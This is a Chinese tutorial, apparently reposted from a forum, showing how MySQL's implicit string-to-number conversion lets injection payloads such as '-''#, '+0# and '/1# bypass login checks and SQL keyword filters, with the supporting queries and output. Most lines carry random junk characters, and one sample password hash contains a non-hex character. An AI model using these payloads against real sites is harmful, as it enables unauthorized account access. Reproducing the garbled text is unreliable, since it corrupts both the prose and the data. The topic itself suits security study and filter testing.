我们先来看这样一个场景。
; d; {! N6 F3 y, ?$ _有以下表结构: ) | |9 O; M; U; o+ O! o
, m- J3 R; L, Gmysql> desc admin;
2 B, ^( V. e" S4 `+ O# x+----------+--------------+------+-----+---------+----------------+$ e9 r# v6 X) N. y, p3 O
| Field | Type | Null | Key | Default | Extra |
% ?2 H7 z1 H( S' C n# j' g& J+----------+--------------+------+-----+---------+----------------+
$ Q1 s$ \" g$ A8 u m$ J( m) f0 e| id | mediumint(9) | NO | PRI | NULL | auto_increment |! s3 p! I3 l; Y2 H, x
| name | char(32) | NO | UNI | NULL | |
- F' r/ |/ D a& Y! F" D; n. e| password | char(32) | NO | UNI | NULL | |
8 P% U8 Q6 @& X/ V( W+ q+----------+--------------+------+-----+---------+----------------+
$ J# E$ C3 c2 _$ P' |: J# g2 g# j3 rows in set (0.00 sec)
1 _: U2 l2 @, W2 b- M3 l* |执行select * from admin;,成功返回所有记录内容。: F8 e: @7 {8 [1 f+ H; c2 Q: t
: U6 V5 H7 X& ?7 @6 S, m p- s: j
( D" v' H8 |7 @3 f+----+--------+----------------------------------+4 f8 ~2 V1 `2 ?% T! ~0 P' n
| id | name | password |/ l2 H5 V0 |" L0 \" C
+----+--------+----------------------------------+
/ [% k5 b& a4 C) }/ L& S| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |/ e, d7 j9 U( @- s+ V# Q
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |2 o; t+ l7 h! X7 z8 t6 j
| 4 | n00b | ff80e8508d39047460921792273533a4 |! J/ f+ {, v" \+ U0 x
+----+--------+----------------------------------+
) z) I8 e5 Z" B3 `3 i3 rows in set (0.00 sec)
' M- q1 E+ M0 ^7 S: u执行select * from admin where name=”;,没有匹配到任何记录。
9 ], k4 Y9 z9 K e9 K3 ^- a( y* `0 B w6 r5 o8 _# C7 ?$ q3 H
mysql> select * from admin where name = '';
# D' p* r& W( u/ qEmpty set (0.00 sec)
+ T4 V p! `: n( B那么我们来执行select * from admin where name = ”-”;8 r9 b$ N A" ~4 }$ L8 J
: |, W% a2 O$ ~! Z" O
' ?0 `7 M A5 o" M* n) q( Q$ W3 Z* t+----+--------+----------------------------------+0 M P7 C/ P, b; i/ H7 e8 ?7 \1 T, f- P
| id | name | password |
; T! k( l; v, G' c+ L6 D$ Q4 f2 O+----+--------+----------------------------------+& b- k" T, W' J( U* `, H
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |. d% g1 f! `- Y9 |
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |' i0 O! a4 q7 h0 e6 l
| 4 | n00b | ff80e8508d39047460921792273533a4 |
4 u2 x& l% s9 M3 R& `/ P+----+--------+----------------------------------+* t& \1 K7 f) c" b9 o$ Q
3 rows in set, 3 warnings (0.00 sec)
L1 h4 r" P, |- e- U5 o6 {可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: % `/ N6 I! R! H7 Y) v
( A9 {+ v$ x- F! m# g
mysql> show warnings;
! j* _6 U1 H# E+---------+------+------------------------------------------( } H: k9 v6 z f! a/ r
| Level | Code | Message
3 r4 t9 p6 B! z% G/ }+---------+------+------------------------------------------
, E: Y: Z3 g+ ? l| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin- s; I$ k2 T. b9 V! N
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
, i, Z( L( A) x% T0 h: [. p| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b+ s: T0 C: W2 T, t% e* r8 h
+---------+------+------------------------------------------% {) h. l8 N) x9 {0 J9 V& ?5 @/ g
3 rows in set (0.00 sec)
( U( `1 u4 a/ l3 m) W. t9 {# P2 ?提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 l& z' Z! P- |0 [$ t- R9 g
" z! y+ a2 E" V, I, R* g6 e3 U i
mysql> select ''-'';
9 U U6 B9 t2 H+ W- u+-------+
1 t- c+ x" l" i6 l( c/ g| ''-'' |: V }; ]% j* m1 K3 p i
+-------+6 f: p$ x1 L' `* X6 M8 M7 L
| 0 |3 p+ v+ f/ t$ @! D* _# j* D9 \
+-------+
" y% ]( O) |& e& ?' ^% a1 row in set (0.00 sec)
v" n! h! K$ y3 j返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
3 x) h4 B e: g
. F- Q0 E5 r. c3 O. Pmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
4 d S, {' w% y1 H+-----------------------------------------------------+
6 I2 K$ t5 A$ [4 n, _4 U. N| CAST((select name from admin limit 1,1) as DECIMAL) |" h$ t0 K& e) K B4 `3 @0 V
+-----------------------------------------------------+
/ K# p. I4 P2 c: w3 U| 0 |( z b( e5 x. b, }, Z$ U) m& {3 x
+-----------------------------------------------------+
1 x4 [/ A- _8 t3 J' z p2 a4 l1 row in set, 1 warning (0.00 sec)+ v3 o% f( \9 |$ |, [8 ^. |
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 2 F$ d# ~ f2 T' L
6 Q4 B! U5 c+ ?
SQL注入场景: http://www.sqlzoo.net/hack/ 4 o7 H+ h. [8 M- r; X' p
/ Y/ N p" ^% s) @& `0 [
+ F" a; X% R5 |; u+ v8 u$ S" H5 ~* ` |: z Y& X3 h* m
/ B- l; }- a3 z如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
$ B3 ^! \$ b% q7 j8 b+ O5 V8 }2 z9 |# H1 `5 [
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ' ?. k, K/ j3 g
9 T. g9 {9 A1 y/ L( y( H( U
! G F) |/ G) p9 ]3 }3 c, D
- H3 y: G5 h: q6 j
9 t6 a3 ^4 B/ G" n; |! ~仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ) \! X; g$ Y- r( N+ @ @
* d/ c1 U8 q: K' B2 Q: |8 l5 y* ]' j( |* c
! M( d4 N6 a7 c* c/ X. g$ p! a7 M
: U$ V# f" m% R
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
/ G1 M: q1 \. p5 G3 ?* n7 ~) N7 G2 B8 m0 h( u
( m) A, \, `$ z1 }/ mmysql> select ''/1;
; ~: k4 Y( b6 n/ s! A3 d, C4 q! f+------+7 J! F5 n1 x( {& g" p) ~% A
| ''/1 |6 Y% D. p# o3 A' @
+------+; C1 q9 p( [7 W2 V
| 0 |
( y5 t2 L3 k/ l9 [9 M, K+------+" j/ h* B* k/ O* L
1 row in set (0.00 sec)
& L0 c0 W5 e; _( [( I类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
- n5 s$ k! V v3 n% ]
- T1 K* {! K0 Z" r0 T+ h4 z利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。; E% m2 v! Q) n& S9 J
|
|